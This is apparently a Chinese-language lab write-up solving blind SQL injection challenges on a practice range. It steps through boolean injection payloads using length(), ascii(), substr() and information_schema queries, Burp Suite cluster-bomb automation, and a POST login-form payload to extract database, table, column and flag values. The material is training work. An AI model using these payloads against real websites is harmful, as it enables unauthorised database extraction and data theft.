盲注-没有回显的注入
sql盲注-靶场A
依然是拿你熟悉的flag
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1
看图说话,数字型注入,没有回显,由于前几关的经验得知,网站后台使用的数据库是mysql,而且是5.0以上
那这关既然是盲注估计应该是另一个库,先用之前的error库试一下
?id=1 and database()='error'
呵呵果然不是原来的库了,你大爷的
1. 获取库名
由于没有回显,那么库名的获取只能靠猜了,但是猜之前你是不是要判断一下库名的猜长度,要不然你猜个鸡毛
length() 返回字符串的长度
length(database()) 返回库名的长度
我也不建议你一个一个长度等于号的去猜,有种二分法这种算法,可以快速定位
?id=1 and length(database())>0 有数据
?id=1 and length(database())<10 No results found
说明库名的长度大于10,可以通过小于15,一步一步进行比较,最后得出库名长度为12
接下来就是判断这12个字符具体是哪些内容了,但是字符和数字之间怎么比较呢?不知道你还记不记的ascii码对
照表了,里面每个字符都有一个对应的10进制数表示,那怎么转换呢,这就要利用ascii这个函数了
ascii('a') ---> 97
解决了字符和数字之间的转换,但是database()返回的是12个字符啊,一下子去比较12个字符也不现实啊,而且
也比较不了啊,这个时候就要用到substr这个函数了
substr('hello',1,1) --> h
接收三个参数,第一个参数是要截取的字符串,第二个参数是开始截取的位置,第三个参数是截取的长度
利用这两个函数就可以完美解决你一个一个字符比较的问题了
?id=1 and ascii(substr(database(),1,1))>100
?id=1 and ascii(substr(database(),1,1))<110
?id=1 and ascii(substr(database(),1,1))>105
?id=1 and ascii(substr(database(),1,1))<108
既然是在105和108之间,那不是106,就是107
?id=1 and ascii(substr(database(),1,1))=107
我就喜欢大的,果然一试就对,通过查找ascii码对照表得出107是小写的k
我不知道你怎么想的,发现每次测试的时候都是更改那个位置的值,你心里面就没有一点想法?菜鸡
没错,Burpsuite暴力猜解啊
先进行有数据返回和没结果的包的比较
比较返回的数据包
开始暴力猜解
选择攻击类型和添加变量
设置第一个变量的payload为1-12
设置第二个变量的payload,因为falg的格式内容是英文字母和-组成,所以我们添加大小写字母和-对应的10进制
数,来表示,- (短杠) ---》 45
添加按照关键字去匹配
开始攻击
根据返回的结果,一一对照得出库名
107 97 110 119 111 108 111 110 103 120 105 97k a n w o l o n g x i a
验证库名是否正确
?id=1 and database()='kanwolongxia'
2. 获取表名
获取表名的套路和库名的套路都是先获取长度,再获取每个字符的内容
获取表名长度
?id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1 因为不知道这个库下有几个表,所以只能用limit 0,1 一个一个的去查
设置payload的值
添加匹配的关键字
开始攻击
得出第一个表名的长度的为6
接下来就是获取每个字符的内容,表名的话一般
?id=1 and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=100
添加变量和设置攻击方法
为第一个变量设置payload
为第二个变量设置payload,因为表名一般都不会有特殊字符,而且大多数都是小写的,所以第二个的数值设置为
97-122即可
添加匹配的关键字
开始攻击
108 111 102 108 97 103 l o f l a g
运气真好第一个表名就是和flag相关的,还算这个靶场有点良心,没有故意刁难你
3. 获取字段
一般表的第一个字段都会是id字段,这里直接验证一下
?id=1 and (select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1)='id'
说明第一个字段果然是id字段,别问我怎么知道的,你写过项目的都懂
接下来我们就来判断第二个字段的字段名,这里我们可以跳过对长度的猜解,我们把长度设置大一点,这样一般不
会漏掉,而且我遇到的字段很少有超过10的,大部分都是5-8左右,而且表名大多数都是小写英文字母组成
?id=1 and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name='loflag' limit 1,1)=97注意 limit 1,1 因为是猜解第二个字段
详细的步骤截图我就粘贴了,步骤和猜解表名一样,都是集束炸弹攻击类型,两个变量,一个是截取的位置,一个
是ascii码对应的10进制数,设置payload,添加匹配字符串
102 108 97 103 108 111 f l a g l o
我靠和表名反过来,属实够刺激的
4. 获取值
一个一个获取flag吧
?id=1 and (select ascii(substr(flaglo,1,1)) from loflag limit 0,1)=97
同样可以跳过长度的判断,把截取的位置的最大值设大一点,这个和获取库名内容是一样的,我就不废话了
122 75 97 81 45 81 81 81 z K a Q - Q Q Q
sql盲注一共三个靶场,分别是靶场A ,B ,C,小菜鸡的我都知道肯定都在这一张表,只需要limit 1,1 limit 2,1
就能得到剩下的两个flag
?id=1 and (select ascii(substr(flaglo,1,1)) from loflag limit 1,1)=97
122 75 97 81 45 82 68 z K a Q - R D
?id=1 and (select ascii(substr(flaglo,1,1)) from loflag limit 2,1)=97
122 75 97 81 45 77 111 114 101 110z K a Q - M o r e n
回头查看靶场B和靶场C
靶场B和靶场A比较就多了一个闭合方式是双引号靶场C的注入就特殊了,这里简单提一下思路
靶场C的注入提交方式为post提交,这里简单提示一下账号是admin,密码是asdasdd,可以通过前面的语句猜解
到有一个user表里面有条用户记录
username=admin&password=asdasdd' and (select ascii(substr(flaglo,§1§,1)) from loflag limit 2,1)=§100§--+&submit=%E7%99%BB%E5%BD%95别问我为什么在password后面构建sql语句 , 我猜的 , 看源码提示啊
设置第一个payload
第二个payload
设置匹配的关键字,注意这次的关键字和之前的不一样,因为页面有变化,但是可以对比器找到关键字
æåç»å½这是成功登陆,也不知道这是什么奇怪的编码
开始攻击
和上面的一比较发现是一样的
总结
学会口算ascii码对应的10进制数和注意limit,注意关键字的寻找